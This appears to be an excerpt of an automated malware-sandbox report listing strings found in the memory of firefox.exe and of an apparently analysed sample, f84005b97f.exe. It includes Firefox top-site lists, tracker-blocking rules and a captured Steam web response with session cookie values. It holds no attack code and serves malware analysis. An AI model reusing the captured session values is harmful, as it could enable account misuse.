Source: firefox.exe, 00000017.00000002.3163888580.000002882BAB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3175463259.000002882E0B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3055319018.000002882E0B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3179092949.000002882E20B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3163888580.000002882BAB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3175463259.000002882E0B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3055319018.000002882E0B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3119588541.00000288245AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3119588541.00000288245E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123804190.0000028825286000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com equals www.youtube.com (Youtube)
Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=ebc308d98aa9a096fd906b91; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26105Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 24 Oct 2024 06:38:32 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3123219764.0000028825105000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3123219764.0000028825105000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000017.00000002.3091500089.000002881F825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000017.00000002.3123219764.000002882510C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F87B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: devtools.debugger.remote-websocketdevtools-commandkey-profiler-captureand deploy previews URLs are allowed.DevTools telemetry entry point failed: devtools-commandkey-profiler-start-stop@mozilla.org/dom/slow-script-debug;1{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}DevToolsStartup.jsm:handleDebuggerFlagFailed to listen. Listener already attached.Failed to listen. Callback argument missing.devtools/client/framework/devtoolsFailed to execute WebChannel callback:No callback set for this channel.JSON Viewer's onSave failed in startPersistence@mozilla.org/network/protocol;1?name=filedevtools.debugger.features.javascript-tracing@mozilla.org/uriloader/handler-service;1Got invalid request to save JSON dataWebChannel/this._originCheckCallback@mozilla.org/network/protocol;1?name=defaultreleaseDistinctSystemPrincipalLoaderresource://devtools/server/devtools-server.jsbrowser.fixup.dns_first_for_single_wordsbrowser.urlbar.dnsResolveFullyQualifiedNamesbrowser and that URL. Falling back to devtools/client/framework/devtools-browser^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$Unable to start devtools server on devtools.performance.recording.ui-base-urlresource://devtools/shared/security/socket.jsdevtools.performance.popup.feature-flagdevtools-commandkey-javascript-tracing-togglehttps://poczta.interia.pl/mh/?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?Can't invoke URIFixup in the content processget FIXUP_FLAG_FORCE_ALTERNATE_URI^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$){33d75835-722f-42c0-89cc-44f328e56a86}get FIXUP_FLAGS_MAKE_ALTERNATE_URI{c6cf88b7-452e-47eb-bdc9-86e3561648ef}_injectDefaultProtocolHandlersIfNeededgecko.handlerService.defaultHandlersVersionget FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPextractScheme/fixupChangedProtocol<isDownloadsImprovementsAlreadyMigratedhttp://poczta.interia.pl/mh/?mailto=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/FileUtils.sys.mjshttp://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/NetUtil.sys.mjs@mozilla.org/uriloader/dbus-handler-app;1@mozilla.org/uriloader/web-handler-app;1@mozilla.org/uriloader/local-handler-app;1handlerSvc fillHandlerInfo: don't know this typeScheme should be either http or https^([a-z+.-]+:\/{0,3})*([^\/@]+@).+browser.fixup.domainsuffixwhitelist.resource://gre/modules/FileUtils.sys.mjshttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.yahoo.co.jp/compose/?To=%shttps://mail.inbox.lv/compose?to=%sresource://gre/modules/JSONFile.sys.mjs_finalizeInternal/this._finalizePromise<extension/bing@search.mozilla.org/extendedData equals www.yahoo.com (Yahoo)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3163888580.000002882BAB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3175463259.000002882E0B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3055319018.000002882E0B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3123219764.0000028825165000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/https://www.wikipedia.org/OptionalPermissionNoPrompt^[a-z0-9-._]*@[a-z0-9-._]+$main/nimbus-desktop-experiments[addon]google@search.mozilla.org passed to getLocalizedTitle!The parent guid is not valid (Can't insert into the root.SELECTION_IME_SELECTEDRAWTEXTSELECTION_IME_CONVERTEDTEXTwikipedia@search.mozilla.orgbound #nimbusSearchUpdated equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3163888580.000002882BAB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3175463259.000002882E0B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3055319018.000002882E0B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
